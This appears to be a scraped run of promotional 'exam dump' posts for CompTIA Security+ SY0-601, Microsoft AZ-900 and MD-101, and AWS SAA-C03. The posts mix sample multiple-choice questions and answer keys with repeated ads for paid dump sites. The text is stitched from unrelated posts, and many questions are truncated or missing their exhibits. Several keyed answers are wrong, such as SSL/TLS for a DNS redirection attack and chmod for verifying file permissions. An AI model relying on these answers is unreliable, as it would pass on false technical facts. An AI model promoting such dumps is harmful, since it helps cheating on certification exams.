The latest sy0-601 dumps are the best material for the CompTIA Security+ certification exam! 1093 latest exam questions and answers that fully cover the CompTIA Security+ topic exam and are reviewed by a team of CompTIA certification experts the correction has been verified in real scenarios, and it is real and effective! Candidates can use the Latest sy0-601 dumps with PDF and VCE: https://www.lead4pass.com/sy0-601.html to help you practice easily and guarantee 100% success in passing the exam.
Important! Share some of the latest sy0-601 dumps exam questions online practice for free
After gaining access to a dual-homed (i.e.. wired and wireless) multifunction device by exploiting a vulnerability in the device\’s firmware, a penetration tester then gains shell access on another networked asset This technique is an example of:
A. privilege escalation
B. footprinting
C. persistence
D. pivoting.
Correct Answer: D
Pivoting -> The act of an attacker moving from one compromised system to one or more other systems on the network
QUESTION 2:
After entering a username and password, an administrator must draw a gesture on a touch screen. Which of the following demonstrates what the administrator is providing?
A. Multifactor authentication
B. Something you can do
C. Biometric
D. Two-factor authentication
Correct Answer: B
QUESTION 3:
A global pandemic is forcing a private organization to close some business units and reduce staffing at others.
Which of the following would be BEST to help the organization\’s executives determine the next course of action?
A. An incident response plan
B. A communications plan
C. A disaster recovery plan
D. A business continuity plan
Correct Answer: D
QUESTION 4:
Ann, a customer, received a notification from her mortgage company stating her PII may be shared with partners, affiliates, and associates to maintain day-to-day business operations. Which of the following documents did Ann receive?
A. An annual privacy notice
B. A non-disclosure agreement
C. A privileged-user agreement
D. A memorandum of understanding
Correct Answer: A
From CompTIA’s official textbook:
“A privacy notice is typically an externally-facing document informing customers, users, or stakeholders about what the organization does with PII. It\’s also called a privacy statement.”
QUESTION 5:
After a recent security incident, a security analyst discovered that unnecessary ports were open on a firewall policy for a web server. Which of the following firewall policies would be MOST secure for a web server?
A. Option A
B. Option B
C. Option C
D. Option D
Correct Answer: D
QUESTION 6:
As part of a security compliance assessment, an auditor performs automated vulnerability scans. In addition, which of the following should the auditor do to complete the assessment?
A. User behavior analysis
B. Packet captures
C. Configuration reviews
D. Log analysis
Correct Answer: D
A vulnerability scanner is essentially doing that. It scans every part of your network configuration that it can and determines if known vulnerabilities are known at any point of that.
QUESTION 7:
A security analyst is configuring a large number of new company-issued laptops. The analyst received the following requirements:
1. The devices will be used internationally by staff who travel extensively. 2. Occasional personal use is acceptable due to the travel requirements. 3. Users must be able to install and configure sanctioned programs and productivity suites. 4. The devices must be encrypted 5. The devices must be capable of operating in low-bandwidth environments.
Which of the following would provide the GREATEST benefit to the security posture of the devices?
A. Configuring an always-on VPN
B. Implementing application whitelisting
C. Requiring web traffic to pass through the on-premises content filter
D. Setting the antivirus DAT update schedule to weekly
Correct Answer: A
1-hackers spying on network traffic
2-they can still install stuff. app listing would only allow stuff IT OK\’d. Do you want to tell IT all your personal apps?
3-Sure can
4-network traffic is encrypted. These better have minimum TPM and antimalware on them.
5-Always on VPN is faster than a regular VPN – our company has been using it for years.
QUESTION 8:
A company recently experienced an attack during which the #5 main website was directed to the attacker \’s web server, allowing the attacker to harvest credentials from unsuspecting customers.
Which of the following should the company Implement to prevent this type of attack from occurring in the future?
A. IPSec
B. SSL/TLS
C. DNSSEC
D. S/MIME
Correct Answer: B
QUESTION 9:
In a phishing attack, the perpetrator is pretending to be someone in a position of power in an effort to influence the target to click or follow the desired response. Which of the following principles is being used?
A. Authority
B. Intimidation
C. Consensus
D. Scarcity
Correct Answer: B
Whaling is highly tailored to their audiences and often includes the victim\’s name, job title, and basic details that make the communications look legitimate.
QUESTION 10:
A network administrator needs to build out a new data center, with a focus on resiliency and uptime. Which of the following would BEST meet this objective? (Choose two.)
A. Dual power supply
B. Off-site backups
C. Automatic OS upgrades
D. NIC teaming
E. Scheduled penetration testing
F. Network-attached storage
Correct Answer: AB
Dual PS keeps the servers up / a DRS will conform to the question of resiliency: Site Resiliency Resiliency of a site should include consideration of sites used to continue operations. Site resiliency considerations can be connected to the idea of restoration sites and their availability.
Related to the location of backup storage is where the restoration services will be located. If the organization has suffered physical damage to its facility, having offsite data storage is only part of the solution.
This data will need to be processed somewhere, which means that computing facilities similar to those used in normal operations are required. These sites are referred to as recovery sites. The recovery problem can be approached in a number of ways, including hot sites, warm sites, and cold sites.
A RAT that was used to compromise an organization\’s banking credentials were found on a user\’s computer.
The RAT evaded antivirus detection. It was installed by a user who has local administrator rights to the system as part of a remote management toolset.
Which of the following recommendations would BEST prevent this from reoccurring?
A. Create a new acceptable use policy.
B. Segment the network into trusted and untrusted zones.
C. Enforce application whitelisting.
D. Implement DLP at the network boundary
Correct Answer: C
Having a list of allowed apps decreases the risk of an unwanted application with malware being installed.
QUESTION 12:
The following are the logs of a successful attack.
Which of the following controls would be BEST to use to prevent such a breach in the future?
A security analyst is investigating a vulnerability in which a default file permission was set incorrectly. The company uses non-credentialed scanning for vulnerability management.
Which of the following tools can the analyst use to verify the permissions?
A. ssh
B. chmod
C. ls
D. setuid
E. nessus
F. nc
Correct Answer: B
chmod is used to set permissions for the file.
If you use: ls -l
…
The latest sy0-601 dumps, fully updated in July, meet all the requirements to pass the CompTIA Security+ certification exam!
Candidates can verify the latest CompTIA Security+ certification topic exam questions through online practice to help them understand the latest exam scenarios! Download Latest sy0-601 dumps: https://www.lead4pass.com/sy0-601.html , use PDF and VCE tools to practice 1093 latest CompTIA Security+ exam questions to help you pass the exam easily.
What do you think is the hardest part of the Microsoft Azure Fundamentals exam? The difficulty is how to successfully pass the AZ-900 exam. You can find the new Microsoft Azure Fundamentals certification path to success here.
Using the latest version of the AZ-900 dumps can help you pass the Microsoft AZ-900 exam without a hitch. It just so happens that Pass4itSure has launched the AZ-900 dumps 2023 version, which you can download at https://www.pass4itsure.com/az-900.html the new PDF+VCE practice question 606+.
To be successful in the AZ-900 exam, you must understand the exam
The AZ-900 exam is the Microsoft Azure Fundamentals certification exam.
The core concepts and basic working principles of Azure cloud services
Compute resources, storage resources, network resources, and database services in Azure
Design and deployment of Azure solutions
Azure security, privacy, and compliance
Azure pricing and support services
You need to have this knowledge and understand the concepts and terminology related to Azure infrastructure and solutions.
The complexity of the exam means that you must have the support of AZ-900 dumps.
Tips for choosing the ideal AZ-900 dumps of learning material
The study found that the latest AZ-900 dumps were critical to passing the exam.
The dumps offered by Pass4itSure are appropriately priced, varied, and new enough to be the right thing.
Well, the AZ-900 dump is the first step, and then you need to go through a lot of practice to successfully pass the AZ-900 exam.
Where to find AZ-900 practice tests in 2023?
I wonder if there is a free practice test for the AZ-900 test. I want to practice it in the next step and familiarize myself with it in advance. Is this your voice? Don’t worry, Pass4itSure understands you and provides you with free online practice questions from the latest AZ-900 dumps that you can participate in.
Take the Microsoft AZ-900 actual exam questions exercise:
Question 1:
This question requires that you evaluate the underlined text to determine if it is correct.
Azure Databricks is an Apache Spark-based analytics service.
Instructions: Review the underlined text. If it makes the statement correct, select “No change is needed.” If the statement is incorrect, select the answer choice that makes the statement correct.
A. No change is needed.
B. Azure Data Factory
C. Azure DevOps
D. Azure HDInsight
Correct Answer: A
Azure Databricks is an Apache Spark-based analytics platform. The platform consists of several components including `MLib\’. Mlib is a Machine Learning library consisting of common learning algorithms and utilities, including classification,
regression, clustering, collaborative filtering, dimensionality reduction, as well as underlying optimization primitives.
You have an Azure Active Directory (Azure AD) tenant that syncs with an on-premises Active Directory domain.
You have an internal web app named WebApp1 that is hosted on-premises. WebApp1 uses Integrated Windows authentication.
Some users work remotely and do NOT have VPN access to the on-premises network.
You need to provide the remote users with single sign-on (SSO) access to WebApp1.
Which two features should you include in the solution? Each correct answer presents part of the solution. NOTE: Each correct selection is worth one point.
A. Azure AD Application Proxy
B. Azure AD Privileged Identity Management (PIM)
C. Conditional Access policies
D. Azure Arc
E. Azure AD enterprise applications
F. Azure Application Gateway
Correct Answer: AC
A: Application Proxy is a feature of Azure AD that enables users to access on-premises web applications from a remote client. Application Proxy includes both the Application Proxy service which runs in the cloud and the Application Proxy connector which runs on an on-premises server.
You can configure a single sign-on to an Application Proxy application.
C: Microsoft recommends using Application Proxy with pre-authentication and Conditional Access policies for remote access from the internet. An approach to providing Conditional Access for intranet use is to modernize applications so they can directly authenticate with AAD.
Select the answer that correctly completes the sentence.
Hot Area:
Correct Answer:
Question 4:
HOTSPOT
Select the answer that correctly completes the sentence.
Hot Area:
Correct Answer:
Question 5:
DRAG DROP
You have a hybrid environment that includes Microsoft Azure AD. On-premises applications use Active Directory Domain Services (AD DS) for authentication.
You need to determine which authentication methods to use.
Match each feature to its authentication source. To answer, drag the appropriate authentication sources from the column on the left to the features on the right.
Each authentication source may be used once, more than once, or not at all.
Instructions: To answer, drag the appropriate term from the column on the left to its description on the right. Each term may be used once, more than once, or not at all.
NOTE: Each correct match is worth one point.
Select and Place:
Correct Answer:
Box 1: ISO
ISO is the International Organization for Standardization. Companies can be certified to ISO standards, for example, ISO 9001 or 27001 are commonly used in IT companies.
Box 2: NIST
The National Institute of Standards and Technology (NIST) is a physical sciences laboratory and a non-regulatory agency of the United States Department of Commerce.
Box 3: GDPR
GDPR is the General Data Protection Regulation. This standard was adopted across Europe in May 2018 and replaces the now deprecated Data Protection Directive.
The General Data Protection Regulation (EU) (GDPR) is a regulation in EU law on data protection and privacy in the European Union (EU) and the European Economic Area (EEA). It also addresses the transfer of personal data outside the
EU and EEA areas. The GDPR aims primarily to give control to individuals over their personal data and to simplify the regulatory environment for international business by unifying the regulation within the EU.
Box 4: Azure Government
US government agencies or their partners interested in cloud services that meet government security and compliance requirements can be confident that Microsoft Azure Government provides world-class security, protection, and compliance
services. Azure Government delivers a dedicated cloud enabling government agencies and their partners to transform mission-critical workloads to the cloud. Azure Government services handle data that is subject to certain government regulations and requirements, such as FedRAMP, NIST 800.171 (DIB), ITAR, IRS 1075, DoD L4, and CJIS.
In order to provide you with the highest level of security and compliance, Azure Government uses physically isolated data centers and
You plan to create virtual networks and app services in RG1.
You need to prevent the creation of virtual machines only in RG1.
What should you use?
A. a lock
B. an Azure role
C. a tag
D. an Azure policy
Correct Answer: D
Azure policies can be used to define requirements for resource properties during deployment and for already existing resources. Azure Policy controls properties such as the types or locations of resources.
Azure Policy is a service in Azure that you use to create, assign, and manage policies. These policies enforce different rules and effects over your resources, so those resources stay compliant with your corporate standards and service level agreements.
In this question, we would create an Azure policy assigned to the resource group that denies the creation of virtual machines in the resource group.
You could place a read-only lock on the resource group. However, that would prevent the creation of any resources in the resource group, not virtual machines only. Therefore, an Azure Policy is a better solution.
This question requires that you evaluate the underlined text to determine if it is correct.
You plan to deploy 20 virtual machines to an Azure environment. To ensure that a virtual machine named VM1 cannot connect to the other virtual machines, VM1 must be deployed to a separate virtual network.
Instructions: Review the underlined text. If it makes the statement correct, select “No change is needed”. If the statement is incorrect, select the answer choice that makes the statement correct.
A. No change is needed
B. run a different operating system than the other virtual machines
C. be deployed to a separate resource group
D. have two network interfaces
Correct Answer: A
Azure automatically routes traffic between subnets in a virtual network. Therefore, all virtual machines in a virtual network can connect to the other virtual machines in the same virtual network. Even if the virtual machines are on separate subnets within the virtual network, they can still communicate with each other.
To ensure that a virtual machine cannot connect to the other virtual machines, the virtual machine must be deployed to a separate virtual network.
For each of the following statements, select Yes if the statement is true. Otherwise, select No.
NOTE: Each correct selection is worth one point.
Hot Area:
Correct Answer:
Question 12:
HOTSPOT
For each of the following statements, select Yes if the statement is true. Otherwise, select No. NOTE: Each correct selection is worth one point.
Hot Area:
Correct Answer:
Question 13:
A company uses Microsoft 365.
You need to assign licenses to users.
Which two portals can you use? Each correct answer presents a complete solution.
NOTE: Each correct selection is worth one point.
A. Azure Active Directory admin center
B. Microsoft Compliance Manager
C. Microsoft 365 admin center
D. Security and Compliance Center
Correct Answer: AC
Question 14:
DRAG DROP
Match the Azure service to the correct description.
Instructions: To answer, drag the appropriate Azure service from the column on the left to its description on the right. Each service may be used once, more than once, or not at all.
NOTE: Each correct selection is worth one point.
Select and Place:
Correct Answer:
Box 1:
Azure virtual machines provide operation system virtualization.
Azure Virtual Machines (VM) is one of several types of on-demand, scalable computing resources that Azure offers. Typically, you choose a VM when you need more control over the computing environment than the other choices offer.
Box 2:
Azure Container Instances provide portable environments for virtualized applications.
Containers are becoming the preferred way to package, deploy, and manage cloud applications. Azure Container Instances offers the fastest and simplest way to run a container in Azure, without having to manage any virtual machines and
without having to adopt a higher-level service.
Containers offer significant startup benefits over virtual machines (VMs). Azure Container Instances can start containers in Azure in seconds, without the need to provision and manage VMs.
Box 3:
Azure App Service is used to build, deploy and scale web apps.
Azure App Service is a platform-as-a-service (PaaS) offering that lets you create web and mobile apps for any platform or device and connect to data anywhere, in the cloud or on-premises. App Service includes the web and mobile
capabilities that were previously delivered separately as Azure Websites and Azure Mobile Services.
Box 4:
Azure Functions provide a platform for serverless code.
Azure Functions is a serverless compute service that lets you run event-triggered code without having to explicitly provision or manage infrastructure.
To complete the sentence, select the appropriate option in the answer area.
Hot Area:
Correct Answer:
Azure automatically routes traffic between subnets in a virtual network. Therefore, all virtual machines in a virtual network can connect to the other virtual machines in the same virtual network. Even if the virtual machines are on separate subnets within the virtual network, they can still communicate with each other.
To ensure that a virtual machine cannot connect to the other virtual machines, the virtual machine must be deployed to a separate virtual network.
Of course, not all the AZ-900 exam questions are shared, all the exam questions need to go to Pass4itSure AZ-900 dumps download https://www.pass4itsure.com/az-900.html
Conclusion:
It is advisable to pass the exam with AZ-900 dumps 2023. You can trust with confidence.
I often see people send me messages, “What if you fail the Microsoft MD-101 exam?” The fact that the Microsoft MD-101 exam is more stressful is well known. Today to bring you a solution, I feel you need MD-101 dumps to help relieve stress and boost confidence.
Studying for the Microsoft MD-101 exam requires skill. In any skill, practice is the key to success. However, time and effort are not enough. Just like participating in sports, certain basic principles must be adhered to achieve the best results.
Unstable study habits can produce bad results. So you need the help of the latest MD-101 dump 2023, which gives you a specified plan, step by step.
Choose the right MD-101 dumps to ease your exam stress
Choosing the right MD-101 dumps is critical to ensure your exam success. As a solution, Pass4itSure is a great choice, it is a consolidation of the latest MD-101 exam learning materials, providing you with the latest exam practice questions, all about the real exam content.
It is a collection of questions distilled from painstaking work, preparation, and constant feedback from Pass4itSure experts, and by practicing it, you will easily pass the MD-101 exam without stress.
Pre-test yourself!
Review practice many times, which is beneficial for the MD-101 exam. It is not only good to understand the content of the exam, but also to be familiar with the question types of the exam.
To allow you to practice better, we provide free MD-101 online test questions for learning:
Question 1:
Your company has several Windows 10 Microsoft Azure Active Directory (Azure AD) joined workstations. These workstations have been enrolled in Microsoft Intune. You are creating a device configuration profile for the workstations.
You have been informed that a custom image should be displayed as the Desktop background picture. Which of the following is a Device restriction setting that should be configured?
A. Locked screen experience
B. Personalization
C. Display
D. General
Correct Answer: B
Wallpaper image, or Desktop background picture, URL is set under Personalization.
Note: This question is part of a series of questions that present the same scenario. Each question in the series contains a unique solution that might meet the stated goals. Some question sets might have more than one correct solution, while
others might not have a correct solution.
After you answer a question in this section, you will NOT be able to return to it. As a result, these questions will not appear on the review screen.
You have a computer that runs Windows 8.1. Two days ago, you upgraded the computer to Windows 10. You need to downgrade the computer to Windows 8.1.
Solution: You restart the computer to Windows Recovery Environment (Windows RE) and use the Advanced options. Does this meet the goal?
A. Yes
B. No
Correct Answer: A
Tested on W8.1 > Upgrade to W10. After the upgrade is completed, restart WinRE. From winRE > Avanced Options > uninstall last Features Updates. The computer restarted, uninstalls W10 and I could log on to win 8.1 – the answer is YES.
This Microsoft doc says the answer should be “YES”
“Reset this PC and Go back buttons in Settings > System > Recovery do not function. Reset and rollback can be accessed from the Windows Recovery Environment by selecting System > Recovery > Advanced startup, and pressing Restart
now. Once in Windows Recovery, choose Troubleshoot.
Choose Reset this PC to perform a reset.
Choose Advanced options > Uninstall Updates > Uninstall latest feature update to perform a rollback.”
Question 3:
You have a server that runs the Microsoft Deployment Toolkit (MDT). You have computers that run Windows 8.1 or Windows 10.
You have a Microsoft 365 tenant. Microsoft 365 Enterprise E5 licenses are assigned to all users.
You need to recommend a strategy to install Windows 10 on Windows 8.1 computers. The installation must retain the user files, settings, and supported applications.
What should you recommend?
A. Refresh the Window 8.1 computers by using Windows 10 and use the User State Migration Tool (USMT).
B. Perform an in-place upgrade of Windows 8.1 to Windows 10.
C. Refresh the Window 8.1 computers by using Windows 10 and use Windows Autopilot white glove service to finalize the installation.
D. Refresh the Window 8.1 computers by using Windows 10 and use Windows Autopilot user-driven mode.
Correct Answer: B
The simplest path to upgrade PCs currently running Windows 7, Windows 8, or Windows 8.1 to Windows 10 is through an in-place upgrade. You can use a Microsoft Endpoint Manager task sequence to completely automate the process.
Note: For Windows 10 deployment, Microsoft 365 includes a fantastic deployment advisor that can walk you through the entire process of deploying Windows 10.
The wizard supports multiple Windows 10 deployment methods, including:
Windows Autopilot
In-place upgrade Deploying Windows 10 upgrade with Intune
Deploying Windows 10 upgrade with Microsoft Endpoint Configuration Manager
Deploying a computer refresh with Microsoft Endpoint Configuration Manager
You use Microsoft Intune to manage client computers. The computers run one of the following operating systems:
1.Windows 8.1
2.Windows 10 Pro
3.Windows 10 Enterprise
4.Windows 10 Enterprise LTSC
You plan to manage Windows updates on the computers by using update rings.
Which operating systems support update rings?
A. Windows 10 Pro, Windows 10 Enterprise, and Windows 10 Enterprise LTSC only
B. Windows 8.1, Windows 10 Pro, Windows 10 Enterprise, and Windows 10 Enterprise LTSC
C. Windows 10 Enterprise and Windows 10 Enterprise LTSC only
D. Windows 10 Pro and Windows 10 Enterprise only
Correct Answer: D
D. Windows 10 Pro and Windows 10 Enterprise only
Update rings are supported for the following Windows editions:
Windows 10/11 Pro
Windows 10/11 Enterprise
Windows 10/11 Team – for Surface Hub devices
Windows Holographic for Business
Update ring policies are supported for devices that run Windows 10 version 1607 or later, and Windows 11
Incorrect:
The Long-Term Servicing Channel (LTSC) is designed for Windows 10 devices and use cases where the key requirement is that functionality and features don’t change over time. Examples include medical systems (such as those used for
MRI and CAT scans), industrial process controllers, and air traffic control devices.
These devices share characteristics of embedded systems: they are typically designed for a specific purpose and are developed, tested, and certified before use.
They are treated as a whole system and are, therefore, commonly upgraded by building and validating a new system, turning off the old device, and replacing it with a new, certified device.
You have a Microsoft 365 E5 subscription that contains a user named User1 and the devices shown in the following table.
User1 can access her Microsoft Exchange Online mailbox from both Device 1 and Device 2.
You plan to create a Conditional Access policy named CAPolicy1 that will have the following settings:
1.Assignments
2.Users or workload identities: User1
3.Cloud apps or actions: Office 365 Exchange Online
4.Access controls
5.Grant: Block access
You need to configure CAPolicy1 to allow mailbox access from Device 1 but block mailbox access from Device 2.
Solution: You add a condition that specifies a trusted location.
Does this meet the goal?
A. Yes
B. No
Correct Answer: B
Instead, use solution: You add a condition to filter for devices.
Note: Conditional Access: Filter for devices
When creating Conditional Access policies, administrators have asked for the ability to target or exclude specific devices in their environment. The conditioning filter for devices gives administrators this capability.
Now you can target specific devices using supported operators and properties for device filters and the other available assignment conditions in your Conditional Access policies.
You have devices enrolled in Microsoft Intune as shown in the following table.
You create an app protection policy named Policy1 that has the following settings:
1. Platform: Windows 10
2. Protected apps: App1
3. Exempt apps: App2
4. Network boundary: Cloud resources, IPv4 ranges
You assign Policy1 to Group1 and Group2. You exclude Group 3 from Policy 1.
Which devices will apply to Policy 1?
A. Device1, Device2, Device4, and Device5
B. Device1, Device4, and Device5 only
C. Device4 and Device5 only
D. Device1, Device3, Device4 and Device5
Correct Answer: C
Intune devise configuration profiles let you include and exclude groups from profile assignments. Exclusion takes precedence over inclusion in the same group types.
Policy1 excludes Group3 and Group3 includes Device1, Device2, and Device3.
Incorrect Answers:
A, B, D: Device1, Device2, and Device3 are members of Group3. Policy1 excludes Group3. Exclusion takes precedence over inclusion.
Your company makes use of Microsoft Intune to manage the Windows 10 computers that run.
After creating an app protection policy for Microsoft Edge, you assign the policy to a group.
After opening Microsoft Edge on one of the computers, you decide to check whether the app protection policy is protecting Microsoft Edge on the computer.
You plan to add a column in Task Manager to achieve this.
Which of the following is the column that should be added?
Your network contains an Active Directory domain. The domain contains 200 computers that run Windows 8.1. You have a Microsoft Azure subscription.
You plan to upgrade the computers to Windows 10.
You need to generate an Upgrade Readiness report for the computers.
What should you do? To answer, select the appropriate options in the answer area.
NOTE: Each correct selection is worth one point.
Hot Area:
Correct Answer:
Box 1: Create an Azure Log Analytics workspace and add a solution
Once you have an Azure subscription, follow the steps below to get started with Upgrade Readiness.
Set up a subscription to Microsoft Operations Management Suite (OMS).
You will be prompted to link the OMS workspace to an Azure subscription.
Once the link with an Azure subscription is complete, your workspace should be ready and you will be redirected to your blank workspace.
Enable Upgrade Analytics. To do this, click on the Solutions Gallery In the Solutions Gallery page, scroll to the right to locate and select the Upgrade Analytics
(Preview) tile.
..
Now that your Upgrade Analytics subscription is ready, the last requirement is to configure Upgrade Analytics with the details of which version of Windows 10 you are targeting. To do this, click on the tile for Upgrade Analytics Preview. On the
Upgrade Analytics Preview page, click on the gear icon labeled Solution Settings.
Box 2: Configure the Commercial ID
For the commercial value variable, use the “Commercial ID” that was generated when you set up your Upgrade Readiness solution. If you don’t have this, you can pull it out from your OMS workspace.
You need to consider the underlined segment to establish whether it is accurate.
Your company\’s Microsoft Azure subscription includes an Azure Log Analytics workspace.
After deploying a new Windows 10 computer, which belongs to a workgroup, you are tasked with making sure that you can utilize Log Analytics to query events from the new computer.
You configure the new computer\’s commercial ID.
Select “No adjustment required” if the underlined segment is accurate. If the underlined segment is inaccurate, select the accurate option.
What should you do on Computer1?
A. No adjustment is required.
B. install the Azure Diagnostic extension on the new computer
C. install the Dependency agent on the new computer
D. install the Microsoft Monitoring Agent on the new computer
Correct Answer: D
The Azure Monitor agent (AMA) collects monitoring data from the guest operating system of Azure and hybrid virtual machines and delivers it to Azure Monitor where it can be used by different features, insights, and other services such as Microsoft Sentinel and Microsoft Defender for Cloud.
Note: This question is part of a series of questions that present the same scenario. Each question in the series contains a unique solution that might meet the stated goals. Some question sets might have more than one correct solution, while others might not have a correct solution.
After you answer a question in this section, you will NOT be able to return to it. As a result, these questions will not appear on the review screen.
You have an Azure Directory group named Group1 that contains Windows 10 Enterprise devices and Windows 10 Pro devices.
From Microsoft Intune, you create a device configuration profile named Profile1.
You need to ensure that Profile 1 applies to only the Windows 10 Enterprise devices in Group 1.
Solution: You create an Azure Active Directory group that contains only the Windows 10 Enterprise devices. You assign Profile 1 to the new group.
Does this meet the goal?
A. Yes
B. No
Correct Answer: B
Instead: You configure an applicability rule for Profile1. You assign Profile1 to Group1.
Note: Applicability rules allow administrators to target devices in a group that meets specific criteria. For example, you create a device restrictions profile that applies to the All Windows 10/11 devices group. And, you only want the profile assigned to devices running Windows Enterprise.
You create a Windows Autopilot deployment profile.
You need to configure the profile settings to meet the following requirements:
1. Automatically enroll new devices and provision system apps without requiring end-user authentication.
2. Include the hardware serial number in the computer name.
Which two settings should you configure? To answer, select the appropriate settings in the answer area.
NOTE: Each correct selection is worth one point.
Hot Area:
Correct Answer:
Box 1: Deployment mode User-driven
User-driven: Devices with this profile are associated with the user enrolling the device. User credentials are required to enroll the device.
Change it to Self-deploying (preview): (requires Windows 10, version 1809 or later) Devices with this profile aren\’t associated with the user enrolling the device.
User credentials aren’t required to enroll the device. When a device has no user associated with it, user-based compliance policies don’t apply to it. When using the self-deploying mode, only compliance policies targeting the device will be applied.
Box 2: Apply device name template
Apply device name template (requires Windows 10, version 1809 or later, and Azure AD join type): Choose Yes to create a template to use when naming a device during enrollment. Names must be 15 characters or less and can have letters,
numbers, and hyphens. Names can’t be all numbers. Use the %SERIAL% macro to add a hardware-specific serial number. Or, use the %RAND:x% macro to add a random string of numbers, where x equals the number of digits to add.
You implement the planned changes for Connection1 and Connection2.
How many VPN connections will there be for User1 when the user signs in to Device1 and Device2? To answer, select the appropriate options in the answer area.
NOTE: Each correct selection is worth one point.
Hot Area:
Correct Answer:
Box 1: 2 Device 1 has VPN1 and VPN2.
Box 2: 3 Device2 has VPN1, VPN2 (group assignment), and VPN3
Question 15:
Your company has an Active Directory domain, named weylandindustries.com. the domain is synced to Microsoft Azure Active Directory (Azure AD) and all company computers have been enrolled in Microsoft Intune.
You are preparing to perform a Fresh Start action on certain company devices.
Which of the following operating systems support the Fresh Start action? (Choose all that apply.)
A. Windows Vista
B. Windows 8.1
C. Windows 10
D. iOS
Correct Answer: C
The Fresh Start device action removes any apps that are installed on a PC running Windows 10, version 1709 or later.
There are signs of everything. Let’s say you’re looking for SAA-C03 Where is the breakthrough for the exam, you should need to try our SAA-C03 dumps. Our SAA-C03 dumps have the best quality and up-to-date refreshed learning materials that will really help you pass the Amazon SAA-C03 exam.
The same goes for the SAA-C03 exam, which has its nemesis. Pass4itSure SAA-C03 dumpshttps://www.pass4itsure.com/saa-c03.html can help you beat the Amazon SAA-C03 exam. New SAA-C03 dumps provide you with 427 mock exam questions and answers in PDF and software format to help you master the exam content.
The key to mastering the Amazon SAA-C03 exam: Finding the Breakthrough
Everyone has weaknesses, and so does the Amazon SAA-C03 exam.
Verified by us many times. SAA-C03 dumps can help you break through the exam. Especially the Pass4itSure SAA-C03 dumps!
It has a state-of-the-art team of experts dedicated to exam questions, putting together a set of effective exam practice questions, and is a study material that closely follows the pace of the SAA-C03 exam, and by practicing it, you can quickly pass the SAA-C03 exam and earn the AWS Certified Associate certification.
SAA-C03 exam: Is it necessary to do practice questions?
Practice questions are necessary, not only to promote AWS Certified Solutions Architect – Associate (SAA-C03) knowledge understanding but also as a part of the exam.
Use the Pass4itSure SAA-C03 dumps with lots of exam questions. Note: Since free questions are always limited and you need to get the full practice questions, Pass4itSure has you covered.
A large number of facts have proved that Pass4itSure is more compatible with the exam, and the questions are all set around the real test content, which is real and effective.
Latest Amazon SAA-C03 exam questions, SAA-C03 dumps pdf 2023 update
Where can I get the latest AWS (SAA-C03) exam dumps or questions? Share here for free!
Question 1:
A company is migrating a distributed application to AWS The application serves variable workloads The legacy platform consists of a primary server trial coordinates jobs across multiple compute nodes The company wants to modernize the application with a solution that maximizes resiliency and scalability.
How should a solutions architect design the architecture to meet these requirements?
A. Configure an Amazon Simple Queue Service (Amazon SQS) queue as a destination for the jobs Implement the compute nodes with Amazon EC2 instances that are managed in an Auto Scaling group. Configure EC2 Auto Scaling to use scheduled scaling
B. Configure an Amazon Simple Queue Service (Amazon SQS) queue as a destination for the jobs Implement the compute nodes with Amazon EC2 Instances that are managed in an Auto Scaling group Configure EC2 Auto Scaling based on the size of the queue
C. Implement the primary server and the compute nodes with Amazon EC2 instances that are managed In an Auto Scaling group. Configure AWS CloudTrail as a destination for the fobs Configure EC2 Auto Scaling based on the load on the primary server
D. implement the primary server and the compute nodes with Amazon EC2 instances that are managed in an Auto Scaling group Configure Amazon EventBridge (Amazon CloudWatch Events) as a destination for the jobs Configure EC2 Auto Scaling based on the load on the compute nodes
Correct Answer: B
A – incorrect: Schedule scaling policy doesn’t make sense.
C, D – incorrect: Primary server should not be in same Auto Scaling group with compute nodes.
B is correct.
Question 2:
A company is planning on deploying a newly built application on AWS in a default VPC. The application will consist of a web layer and a database layer. The web server was created in public subnets, and the MySQL database was created in private subnets.
All subnets are created with the default network ACL settings, and the default security group in the VPC will be replaced with new custom security groups.
A. Create a database server security group with inbound and outbound rules for MySQL port 3306 traffic to and from anywhere (0.0.0.0/0).
B. Create a database server security group with an inbound rule for MySQL port 3300 and specify the source as a web server security group.
C. Create a web server security group within an inbound allow rule for HTTPS port 443 traffic from anywhere (0.0.0.0/0) and an inbound deny rule for IP range 182. 20.0.0/16.
D. Create a web server security group with an inbound rule for HTTPS port 443 traffic from anywhere (0.0.0.0/0). Create network ACL inbound and outbound deny rules for IP range 182. 20.0.0/16.
E. Create a web server security group with inbound and outbound rules for HTTPS port 443 traffic to and from anywhere (0.0.0.0/0). Create a network ACL inbound deny rule for IP range 182. 20.0.0/16.
Correct Answer: BD
Question 3:
A company recently released a new type of internet-connected sensor. The company is expecting to sell thousands of sensors, which are designed to stream high volumes of data each second to a central location.
A solutions architect must design a solution that ingests and stores data so that engineering teams can analyze it in near-real time with millisecond responsiveness. Which solution should the solution architect recommend?
A. Use an Amazon SOS queue to ingest the data. Consume the data with an AWS Lambda function which then stores the data in Amazon Redshift
B. Use on Amazon SQS queue to ingest the data. Consume the data with an AWS Lambda function which then stores the data In Amazon DynamoDB
C. Use Amazon Kinases Data Streams to ingest the data. Consume the data with an AWS Lambda function, which then stores the data m Amazon Redshift
D. Use Amazon Kinesis Data Streams to ingest the data. Consume the data with an AWS Lambda function, which then stores the data m Amazon DynamoDB
Correct Answer: C
Question 4:
A company has a service that produces event data. The company wants to use AWS to process the event data as it is received. The data is written in a specific order that must be maintained throughout processing The company wants to implement a solution that minimizes operational overhead.
How should a solutions architect accomplish this?
A. Create an Amazon Simple Queue Service (Amazon SQS) FIFO queue to hold messages Set up an AWS Lambda function to process messages from the queue
B. Create an Amazon Simple Notification Service (Amazon SNS) topic to deliver notifications containing payloads to process Configure an AWS Lambda function as a subscriber.
C. Create an Amazon Simple Queue Service (Amazon SQS) standard queue to hold messages. Set up an AWS Lambda function to process messages from the queue independently
D. Create an Amazon Simple Notification Service (Amazon SNS) topic to deliver notifications containing payloads to process. Configure an Amazon Simple Queue Service (Amazon SQS) queue as a subscriber.
FIFO (First-In-First-Out) queues are designed to enhance messaging between applications when the order of operations and events is critical, or where duplicates can\’t be tolerated. Examples of situations where you might use FIFO queues include the following:
To make sure that user-entered commands are run in the right order. To display the correct product price by sending price modifications in the right order. To prevent a student from enrolling in a course before registering for an account.
Question 5:
A gaming company wants to launch a new internet-facing application in multiple AWS Regions. The application will use the TCP and UDP protocols for communication. The company needs to provide high availability and minimum latency for global users.
Which combination of actions should a solutions architect take to meet these requirements? (Select TWO.)
A. Create internal Network Load Balancers in front of the application in each Region
B. Create external Application Load Balancers in front of the application in each Region
C. Create an AWS Global Accelerator accelerator to route traffic to the load balancers in each Region
